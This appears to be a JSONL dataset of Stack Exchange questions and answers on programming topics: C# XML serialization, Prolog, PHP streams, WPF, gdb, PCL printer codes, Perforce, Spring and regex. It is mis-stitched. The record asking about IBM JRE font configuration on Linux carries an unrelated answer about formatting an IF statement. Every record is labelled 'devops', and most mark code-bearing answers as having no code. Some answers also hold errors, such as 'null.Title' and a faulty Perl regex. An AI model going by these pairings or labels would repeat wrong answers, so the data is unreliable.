{"id": "hf_068b43d4dac6", "question": "<p>I'm serializing to XML my class where one of properties has type List&lt;string&gt;.</p>\n\n<pre><code>public class MyClass {\n    ...\n    public List&lt;string&gt; Properties { get; set; }\n    ...\n}\n</code></pre>\n\n<p>XML created by serializing this class looks like this:</p>\n\n<pre><code>&lt;MyClass&gt;\n    ...\n    &lt;Properties&gt;\n        &lt;string&gt;somethinghere&lt;/string&gt;\n        &lt;string&gt;somethinghere&lt;/string&gt;\n    &lt;/Properties&gt;\n    ...\n&lt;/MyClass&gt;\n</code></pre>\n\n<p>and now my question. How can I change my class to achieve XML like this:</p>\n\n<pre><code>&lt;MyClass&gt;\n    ...\n    &lt;Properties&gt;\n        &lt;Property&gt;somethinghere&lt;/Property&gt;\n        &lt;Property&gt;somethinghere&lt;/Property&gt;\n    &lt;/Properties&gt;\n    ...\n&lt;/MyClass&gt;\n</code></pre>\n\n<p>after serializing. Thanks for any help!</p>\n", "question_body": "", "answer": "Try\nXmlArrayItemAttribute\n:\n```\n```\nusing System;\nusing System.IO;\nusing System.Xml.Serialization;\nusing System.Collections.Generic;\n\npublic class Program\n{\n    [XmlArrayItem(\"Property\")]\n    public List<string> Properties = new List<string>();\n\n    public static void Main(string[] args)\n    {\n        Program program = new Program();\n        program.Properties.Add(\"test1\");\n        program.Properties.Add(\"test2\");\n        program.Properties.Add(\"test3\");\n\n        XmlSerializer xser = new XmlSerializer(typeof(Program));\n        xser.Serialize(new FileStream(\"test.xml\", FileMode.Create), program);\n    }\n}\n```\n```\ntest.xml:\n```\n```\n<?xml version=\"1.0\"?>\n<Program xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\n  <Properties>\n    <Property>test1</Property>\n    <Property>test2</Property>\n    <Property>test3</Property>\n  </Properties>\n</Program>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.485495"}
{"id": "hf_aa19a8c6124a", "question": "<p>I'm working on a college assignment where I must verify if a certain clause (as a fact or as a rule) exists in the current clause database.</p>\n\n<p>The idea is to use a rule whose head  is verify(+name, +arguments). This rule should be true if in the database exists another rule whose head is name(arguments)</p>\n\n<p>Any help would be greatly appreciated...</p>\n", "question_body": "", "answer": "Are you familiar with the concept of unification? What you have to do is: just call a predicate that looks like the one you're trying to find.\nSo, say in your database is:\n```\n```\nfather(abraham,isaac).\n```\n```\nNow you want to call something like:\n```\n```\nverify(father,[abraham,isaac]).\n```\n```\nYour predicate body will then have to contain a mechanism of calling\n```\nfather(abraham,isaac).\n```\nwhich should then return\n```\ntrue.\n```\nCalling\n```\nfather(abraham,adam)\n```\nshould fail.\nYou will need two predicates for this:\n```\n=../2\n```\nand\n```\ncall/2\n```\n. If you are using SWI-Prolog, call\n```\nhelp(=..).\n```\nand\n```\nhelp(call)\n```\nfrom the interpreter's command line to access the documentation.\nI hope I didn't spoil the assignment for you. You still have to find out what to do with partially instantiated predicates (so, say something like\n```\nverify(father,[abraham,X]).\n```\non your own, but it shouldn't be hard from here.\nGood luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.520761"}
{"id": "hf_1c0bfa489b8e", "question": "<p>Exactly as the question states: How can you check if a variable in PHP contains a file pointer? Some like <code>is_string()</code> or <code>is_object()</code>.</p>\n", "question_body": "", "answer": "You can use\n```\nstream_get_meta_data()\n```\nfor this.\n```\n```\n<?php\n$f = fopen('index.php', 'r');\nvar_dump(stream_get_meta_data($f));\n?>\n\narray\n  'wrapper_type' => string 'plainfile' (length=9)\n  'stream_type' => string 'STDIO' (length=5)\n  'mode' => string 'r' (length=1)\n  'unread_bytes' => int 0\n  'seekable' => boolean true\n  'uri' => string 'index.php' (length=9)\n  'timed_out' => boolean false\n  'blocked' => boolean true\n  'eof' => boolean false\n```\n```\nYou can prefix it with @ to supress warnings if the variable is not a resource - then just check if it returned false.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.543647"}
{"id": "hf_c3da1c2000c0", "question": "<p>Given an ordered set of 2D pixel locations (adjacent or adjacent-diagonal) that form a complete path with no repeats, how do I determine the Greatest Linear Dimension of the polygon whose perimeter is that set of pixels? (where the GLD is the greatest linear distance of any pair of points in the set)</p>\n\n<p>For my purposes, the obvious O(n^2) solution is probably not fast enough for figures of thousands of points. Are there good heuristics or lookup methods that bring the time complexity nearer to O(n) or O(log(n))?</p>\n", "question_body": "", "answer": "On this page:\nhttp://en.wikipedia.org/wiki/Rotating_calipers\nhttp://cgm.cs.mcgill.ca/~orm/diam.html\nit shows that you can determine the maximum diameter of a convex polygon in O(n). I just need to turn my point set into a convex polygon first (probably using Graham scan).\nhttp://en.wikipedia.org/wiki/Convex_hull_algorithms\nHere is some C# code I came across for computing the convex hull:\nhttp://www.itu.dk/~sestoft/gcsharp/index.html#hull", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.576538"}
{"id": "hf_b42168ba52c9", "question": "<p>Is it possible?</p>\n\n<p>I have a listview with several gridviewcolumns. The last column has a dynamic header. I dont know what the column header will be at design time. It's actually a number I want to display as a string. </p>\n\n<pre><code>    &lt;GridViewColumn Header=\"{Binding Path=SomeValue}\" \n                    DisplayMemberBinding=\"{Binding Path=OtherValue}\"/&gt;\n</code></pre>\n\n<p>This doesn't seem to work. The data will bind fine just the header remains blank. Stepping through the code and it doesn't even break on the SomeValue property.</p>\n", "question_body": "", "answer": "I think your problem is the source of the \"SomeValue\" property. If you are binding to a list of objects, it wouldn't make sense to have the header determined by a property on that object, because then you could have a different header for every object. Essentially what you are saying is \"Bind the header of the column to the 'SomeValue' property which lives on the same object that my 'OtherValue' property does.\" The \"SomeValue\" needs to come from a different source other than the list your grid item is bound to. You need to either set the \"RelativeSource\" or the \"ElementName\" property in the binding.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.622503"}
{"id": "hf_c21976dabe0b", "question": "<p>Our motor pool wants to scan drivers’ licenses and have the data imported into our custom system. We're looking for something that will allow us to programmatically get the data from the scanner (including the picture) and let us insert it into our application. I was wondering if anyone has had experience with this type of system and could recommend one or tell us which ones to avoid. Our application is written in PowerBuilder and uses a DB2 database. </p>\n", "question_body": "", "answer": "If your scanner is \"twain compliant\", You will then be able to manage it from your app through an ActiveX control you can buy on the net like\nthis one\n. You'll be able to manage your basic scan parameters (quality, color, single/multiple pages can, output format, etc), start the scan from your app, save the result as a file and transfer this file wherever needed. We have been using it with VB code for the last 2 years. It works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.652931"}
{"id": "hf_0223a634ca2c", "question": "<p>Looking to <strong>improve</strong> my IF statement, and I want to keep my code <b>looking pretty</b></p>\n\n<p>This is what I am currently doing, is it <b>readable</b>, any room for <b>improvement</b>?</p>\n\n<pre><code>SomeObject o = LoadSomeObject();\n\n\nif( null == o\n    ||\n    null == o.ID || null == o.Title\n    ||\n    0 == o.ID.Length || 0 == o.Title.Length\n )\n</code></pre>\n\n<p>I don't have anyone to ask around. That's why I came here in first place. Please don't close my question :( </p>\n", "question_body": "", "answer": "Your verbosity is leading to a less readable code, I think the following format is best:\n```\n```\nif ( null == o || null == o.ID || null.Title || 0 == o.ID.Length || 0 == o.Title.Length )\n{\n  // do stuff\n}\n```\n```\nWe all have high resolution/widescreen displays for a reason, there's no reason to lock your code at some horribly short syntax.  Also, I would simply create a function named  IsIDEmpty so that the code could look like\n```\n```\nif ( IsIDEmpty(o) )\n{\n  // do stuff\n}\n```\n```\nto keep the code simpler & cleaner.  The function would perform the actual checks and return a boolean.  I'm sure this is something you might have re-use for anyways, plus it serves as a simple way for code to be more self documenting/commenting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.675779"}
{"id": "hf_852287c34f02", "question": "<p>I am trying to make IBM jre to use PCF fonts from default X11 installation on my linux box. In particular adobe-helvetica font. I have toyed to modify fontconfig.properties in jre/lib folder but no matter what I do Java seams to use some other fonts. I guess there is some algorithm how java VM tries to link java logical fonts to actual physical fonts in the system even in case when font specified in config could not be used. On Windows it is pretty straight forward, but on Linux I was unable to make it work with anything except TrueType fonts.<br>\nAnybody have experience with configuring fonts on IBM jre on Linux?</p>\n", "question_body": "", "answer": "Your verbosity is leading to a less readable code, I think the following format is best:\n```\n```\nif ( null == o || null == o.ID || null.Title || 0 == o.ID.Length || 0 == o.Title.Length )\n{\n  // do stuff\n}\n```\n```\nWe all have high resolution/widescreen displays for a reason, there's no reason to lock your code at some horribly short syntax.  Also, I would simply create a function named  IsIDEmpty so that the code could look like\n```\n```\nif ( IsIDEmpty(o) )\n{\n  // do stuff\n}\n```\n```\nto keep the code simpler & cleaner.  The function would perform the actual checks and return a boolean.  I'm sure this is something you might have re-use for anyways, plus it serves as a simple way for code to be more self documenting/commenting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.698410"}
{"id": "hf_3cfa276cf559", "question": "<p>I have read an example and tried to duplicate it's methods but with weird results. This is a 1 shot deal so I do not want to buy a package to do this. Also, it will be executed on a Multi-Valued database in a Basic that not many programmers write in anymore.\nIf anyone can post a small example of this It would be most helpful. Specifically, I need a box centered on an 8x11 paper with the left 1/3 filled in Green, the center 1/3 in Yellow and the last 1/3 in Red. Then Draw a line thru 3 points within each color of the box.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "The simplest way is to draw 3 boxes.  You'll have to position each one on your own doing your own math to determine where to start the first one to make it centered etc.\nFirst position your cursor at the top left of the first box, draw it, move to the top left of the next box, draw it, and do the same for the last.  Here is some code:\n```\n```\n<esc>&u300D<esc>*t300R<esc>*p300x300Y<esc>*r3U<esc>*v2S<esc>*c300a300b5P<esc>*p600x300Y<esc>*r3U<esc>*v3S<esc>*c300a300b5P<esc>*p900x300Y<esc>*r3U<esc>*v1S<esc>*c300a300b5P\n```\n```\nHere is the explanation:\n```\n```\n<esc>&u300D<esc>*t300R -- set the Unit of Measure and Resolution (in this case 300 dpi)\n<esc>*p300x300Y -- move cursor to 300x 300y (1 inch x 1 inch) \n<esc>*r3U<esc>*v2S -- set the color palette to RGB and use color 2 (green)\n<esc>*c300a300b5P -- draw a box that is 300 wide and 300 tall, use current fill pattern\n<esc>*p600x300Y -- move cursor to 600x 300y\n<esc>*r3U<esc>*v3S -- set the color palette to RGB use color 3 (yellow)\n<esc>*c300a300b5P -- draw a box that is 300 wide and 300 tall, use current fill pattern\n<esc>*p900x300Y -- move cursor to 900x 300y\n<esc>*r3U<esc>*v1S -- set the color palette to RGB use color 1 (red)\n<esc>*c300a300b5P -- draw a box that is 300 wide and 300 tall, use current fill pattern\n```\n```\nHere are the other colors and palettes, keep in mind this is the simple way, you can specify your own RGB etc.\n```\n```\nRGB Palette\n<esc>*r3U<esc>*v1S - Red                \n<esc>*r3U<esc>*v2S - Green\n<esc>*r3U<esc>*v3S - Yellow\n<esc>*r3U<esc>*v4S - Blue\n<esc>*r3U<esc>*v5S - Magenta\n<esc>*r3U<esc>*v6S - Cyan\n\nCMYK Palette\n<esc>*r-3U<esc>*v1S - Cyan\n<esc>*r-3U<esc>*v2S - Magenta\n<esc>*r-3U<esc>*v3S - Blue\n<esc>*r-3U<esc>*v4S - Yellow\n<esc>*r-3U<esc>*v5S - Green\n<esc>*r-3U<esc>*v6S - Red\n<esc>*r-3U<esc>*v7S - Black\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.724742"}
{"id": "hf_1ed6b294b8ff", "question": "<p>I need to query for a list of available Wireless Access points. I only need their SSIDs.</p>\n\n<p>The App is currently .Net CF 2.0, but it's not a problem going with 3.5 if we have to.</p>\n", "question_body": "", "answer": "Well the core of this is in the Windows Zero Config .dll otherwise known as WZC. However from a managed app you'll want to go via\nOpenNETCF\nas they have a managed wrapper that can provide this information for you.\nThe classes of interest are the Adapter or NetworkAdapter classes.\nThe obselete api was:\n```\n```\nNetworking.GetAdapters()\n```\n```\nalthough this is now depreciated I think and I apologise but i've forgotten what they've replaced it with but there will be a new equivalent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.770150"}
{"id": "hf_abcf9d4a1895", "question": "<p>I'd like to write a script that (under certain conditions) will execute gdb and automatically run some program X with some set of arguments Y.  Once the program has finished executing the user should remain at gdb's prompt until s/he explicitly exits it.</p>\n<p>One way to do this would be to have the script output the run command plus arguments Y to some file F and then have the script invoke gdb like this:</p>\n<pre><code>gdb X &lt; F\n</code></pre>\n<p>But is there a way to do this without introducing a temporary file?</p>\n", "question_body": "", "answer": "```\ncat F | gdb X\n```\nshould be identical. So you can use anything that produces output and pipe that into gdb instead of the cat command here.\nI'm assuming you're correct and gdb reads from stdin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.868460"}
{"id": "hf_808f1ee60956", "question": "<p>I'm new to ReSharper and am surprised that there isn't a template defined for</p>\n\n<pre><code>public void MethodName(&lt;params&gt;)\n{\n\n} \n</code></pre>\n\n<p>I realize I could create one, but I would have thought this would have been part of the standard product.  Perhaps I'm missing some other shortcut?</p>\n", "question_body": "", "answer": "I'm not aware of any such default template, but as you pointed out it's terribly easy to write:\n```\n```\npublic void $METHODNAME$($PARAMS$)\n{\n    $END$\n}\n```\n```\nHowever, I'm more that a tiny bit perplexed that you're interested in making all your methods both public and void\nby default.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.925741"}
{"id": "hf_52079ed8dc38", "question": "<p>I have recently started exploring Maven, but I feel a bit overwhelmed of all xml configuration in all the pom files. Are there any good tools i can use?</p>\n", "question_body": "", "answer": "When I edit any XML files, I use\nvim\nwith the\nxmledit\nplugin.\nAnother good tool for XML editing is\nXMLmind XML editor\n.  It's free for non-commercial use.  It supports validating XML with W3C XML Schema (and other schema formats), so you can be sure to produce\nvalid POM format\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.951875"}
{"id": "hf_ec9ba7a7e523", "question": "<p>The top of my <code>web.xml</code> file looks like this:</p>\n\n<pre><code>&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\n&lt;web-app xmlns=\"http://java.sun.com/xml/ns/j2ee\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_5.xsd\"\n    version=\"2.5\"&gt;\n</code></pre>\n\n<p>But I still get the warning from Eclipse (Ganymede) that no XML schema is detected, and schema violations are not being warned about.  Other XML files in my project (<a href=\"http://en.wikipedia.org/wiki/Spring_Framework\" rel=\"noreferrer\">Spring Framework</a> configuration files for example) don't have the warning and do give correct warnings about schema violations.</p>\n\n<p>How do I get the schema checking working and hopefully the warning to go away?  The server does run correctly.  It just appears to be an IDE issue.</p>\n", "question_body": "", "answer": "Perhaps try:\n```\n```\nhttp://java.sun.com/xml/ns/javaee/web-app_2_5.xsd\n```\n```\nInstead of:\n```\n```\nhttp://java.sun.com/xml/ns/j2ee/web-app_2_5.xsd\n```\n```\nAlso, the\n```\n<!DOCTYPE ...>\n```\nis missing:\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE xml>\n<web-app\n  xmlns=\"http://java.sun.com/xml/ns/j2ee\" \n  xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \n  xsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd\"\n  version=\"2.5\">\n  <!-- ... -->\n</web-app>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:46.984904"}
{"id": "hf_865995ade676", "question": "<p>I'm reviewing some Spring code, and I see a few bean defs that do not have an id or a name.\nThe person who did it is not around to ask.\nThe application is working fine.\nI am not familiar what this necessarily means.\nAnybody know if this means anything in particular?</p>\n", "question_body": "", "answer": "One possibility is that you can define a bean in place, and so you don't need an id since you don't need to refer to it from anywhere else.  Say I have a Foo object that takes a Bar property:\n```\n```\n<bean id=\"foo\" class=\"Foo\">\n     <property name=\"bar\">\n         <bean class=\"Bar\">\n     </property>\n</bean>\n```\n```\nThe Bar bean doesn't need a name because it's only used to set that one property.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.051838"}
{"id": "hf_30171671acbd", "question": "<p><a href=\"http://tomcat.apache.org/tomcat-5.5-doc/deployer-howto.html\" rel=\"noreferrer\">Tomcat documentation</a> says: </p>\n\n<p>The locations for Context Descriptors are;</p>\n\n<p>$CATALINA_HOME/conf/[enginename]/[hostname]/context.xml<br>\n$CATALINA_HOME/webapps/[webappname]/META-INF/context.xml</p>\n\n<p>On my server, I have at least 3 files floating around:</p>\n\n<pre><code>1 ...tomcat/conf/context.xml\n2 ...tomcat/Catalina/localhost/myapp.xml\n3 ...tomcat/webapps/myapp/META-INF/context.xml\n</code></pre>\n\n<p>What is the order of precedence? </p>\n", "question_body": "", "answer": "I haven't found any official documentation, but I have observed the load order to be:\n```\n```\n1 tomcat_home/conf/context.xml\n2 tomcat_home/webapps/myapp/META-INF/context.xml\n```\n```\nWhere #2 is the last one applied (so its settings override all previous ones, where applicable).\nI have never used the webapp named context files (your option #2).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.153270"}
{"id": "hf_3b4b23f848f0", "question": "<p>I'm currently trying to implement a marble maze game for a WM 5.0 device and have been struggling with developing a working prototype. The prototype would need the user to control the ball using the directional keys and display realistic acceleration and friction. </p>\n\n<p>I was wondering if anyone has experience with this and can give me some advice or point me in the right direction of what is essential and the best way to go around doing such a thing.</p>\n\n<p>Thanks in advance.</p>\n\n<p>Frank.</p>\n", "question_body": "", "answer": "I would recommend checking out XNA Studio 3, it has built in support for PC, Xbox 360 and mobile devices, and it's an official & free spin-off of Visual Studio from Microsoft.\nhttp://creators.xna.com/en-US/\nhttp://blogs.msdn.com/xna/\nIf you search around, people have written tutorials using physics (velocity on this one)\nhttp://www.xnamachine.com/2007/12/fun-with-very-basic-physics.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.176351"}
{"id": "hf_b88b73fdfbad", "question": "<p>Previously our SharePoint server was 32-bit and we used the web capture web part to display a bugzilla search results page. Since we've migrated to a 64-bit server the webpart no longer works. We're running the same versions of everything, the only change was moving from a Windows Server 2003 32-bit box to a Windows Server 2003 64-bit box.</p>\n\n<p>Oddly enough, the logs don't contain anything. The pages where the webparts appear are the only place that error messages appear. Here is what I have:</p>\n\n<p>-Web Part Error: A Web Part or Web Form Control on this Page cannot be displayed or imported. The type could not be found or it is not registered as safe.</p>\n\n<ul>\n<li>Error - An unexpected error has been encountered in this Web Part.</li>\n</ul>\n\n<p>The reason I suspect the 64bit vs 32bit issue is that I saw numerous posts on the subject in various forums. It would appear that I am not the only one with this issue and all the troubleshooting has lead to this conclusion.</p>\n", "question_body": "", "answer": "Not strictly an answer to your question, but have you tried it using a sql server based session store? (Search on MSDN for the permanent script rather than the temp script that's provided with asp.net)\nI've heard \"bad things\" about the executable session service, and consequently have not used it. Never had any problems web farming with the sql server based solution though.\nSorry it's not strictly an answer to your problem, but it should either (a) fix it, or (b) narrow it down significantly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.211125"}
{"id": "hf_7af59428e24e", "question": "<p>What is the command-line equivalent of \"Switch Port Client User\" as found in the p4win gui client? </p>\n\n<p>I am already logged under one port but now I am attempting to connect to a different port on the same server in order to access a separate source control file depot. I assume it would involve using:</p>\n\n<pre><code>p4 login\n</code></pre>\n\n<p>However, reading the 'help' for 'login' does not show an option to specify the port #. Both user name and client name would remain the same but just need to change the port #.</p>\n", "question_body": "", "answer": "The P4PORT configuration variable stores the Perforce server name and port number to connect to. You can set this value as an environment variable or, if you're using Windows, in the registry using 'p4 set':\n```\n```\np4 set P4PORT=perforce:1669\n```\n```\nTo see what the current value of P4PORT is:\n```\n```\n> p4 set P4PORT\nP4PORT=perforce:1669\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.244236"}
{"id": "hf_3680e4183d24", "question": "<p>I've been testing out <a href=\"http://www.automatedqa.com/products/aqtime/\" rel=\"noreferrer\">the performance and memory profiler AQTime</a> to see if it's worthwhile spending those big $$$ for it for my Delphi application. </p>\n\n<p>What amazes me is how it can give you source line level performance tracing (which includes the number of times each line was executed and the amount of time that line took) without modifying the application's source code and without adding an inordinate amount of time to the debug run.</p>\n\n<p>The way that they do this so efficiently makes me think there might be some techniques/technologies used here that I don't know about that would be useful to know about.</p>\n\n<p>Do you know what kind of methods they use to capture the execution line-by-line without code changes? </p>\n\n<p>Are there other profiling tools that also do non-invasive line-by-line checking and if so, do they use the same techniques?</p>\n", "question_body": "", "answer": "I don't know about Delphi in particular, but a C application debugger can do line-by-line profiling relatively easily - it can load the code and associate every code path with a block of code. Then it can break on all the conditional jump instructions and just watch and see what code path is taken. Debuggers like gdb can operate relatively efficiently because they work through the kernel and don't modify the code, they just get informed when each line is executed. If something causes the block to be exited early (longjmp), the debugger can hook that and figure out how far it got into the blocks when it happened and increment only those lines.\nOf course, it would still be tough to code, but when I say easily I mean that you could do it without wasting time breaking on each and every instruction to update a counter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.309679"}
{"id": "hf_4828d03405a3", "question": "<p>I have an iterator to a map element, and I would like gdb to show me the values of the \"first\" and \"second\" elements of that iterator.\nFor example:</p>\n\n<pre><code>std::map&lt;int,double&gt; aMap;\n...fill map...\nstd::map&lt;int,double&gt;::const_iterator p = aMap.begin();\n</code></pre>\n\n<p>I can use p.first and p.second in the code, but can't see them in gdb. For what it's worth, in dbx one could do something like \"print p.node.second_\", but I can find anything similar in gbd.</p>\n\n<p>I am totally willing to have a function into which I pass the object types, but I've been unable to get that to work either.</p>\n\n<p>Any ideas? \nThanks!</p>\n", "question_body": "", "answer": "Here is how i do it:\n```\n```\nThis GDB was configured as \"i686-pc-linux-gnu\"...\n(gdb) list\n1       #include <iostream>\n2       #include <map>\n3\n4       int main()\n5       {\n6           std::map<int, int> a;\n7           a[10] = 9;\n8           std::map<int, int>::iterator it = a.begin();\n9           ++it;\n10      }\n(gdb) b test.cpp:9\nBreakpoint 1 at 0x8048942: file test.cpp, line 9.\n(gdb) r\nStarting program: /home/js/cpp/a.out\n\nBreakpoint 1, main () at test.cpp:9\n9           ++it;\n(gdb) set print pretty on\n(gdb) p it\n$1 = {\n  _M_node = 0x94fa008\n}\n(gdb) p *it\n$2 = (class std::pair<const int, int> &) @0x94fa018: {\n  first = 10,\n  second = 9\n}\n(gdb)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.344460"}
{"id": "hf_510beb32b4df", "question": "<p>I want to examine the contents of a std::vector in gdb but I don't have access to _M_impl because I'm using icc, not gcc, how do I do it? Let's say it's a std::vector for the sake of simplicity.</p>\n\n<p>There is a very nice answer <a href=\"https://stackoverflow.com/questions/253099/how-do-i-print-the-elements-of-a-c-vector-in-gdb\">here</a> but this doesn't work if I use icc, the error message is \"There is no member or method named _M_impl\". There appears to be a nice debug toolset <a href=\"http://www.yolinux.com/TUTORIALS/GDB-Commands.html#STLDEREF\" rel=\"noreferrer\">here</a> but it also relies on _M_impl.</p>\n", "question_body": "", "answer": "The\n```\nstd::vector\n```\ntemplate\nguarantees the data is stored contiguously\n.  If you take the address of the front element (say,\n```\n&v[0]\n```\n, for instance), you can access any other element in the vector through a C-style array.  That doesn't require you to have the source code of the STL available to your debugger.\nAfter messing with this some, it appears that\n```\nv.front()\n```\nand\n```\nv.begin()\n```\nare likely inlined and GDB isn't finding them.  I'll keep looking, but personally I would simply add the line\n```\nint* i = &v[0]\n```\nto the source file, and then use GDB commands on\n```\ni\n```\nwhile debugging.  Note that the compiler is free to remove that dead code.  You may need to output the value of\n```\ni\n```\nto avoid that, or simply not crank up optimizations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.428202"}
{"id": "hf_ea0736990d09", "question": "<p>I'm looking for a regular expression that will match all strings EXCEPT those that contain a certain string within.  Can someone help me construct it?</p>\n\n<p>For example, looking for all strings that <em>do not</em> have a, b, and c in them in that order.</p>\n\n<p>So <br />\nabasfaf3 would match, whereas <br />\nasasdfbasc would not</p>\n", "question_body": "", "answer": "in perl:\n```\n```\nif($str !~ /a.*?b.*?.*c/g)\n{\n    print \"match\";\n}\n```\n```\nshould work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:47.451527"}
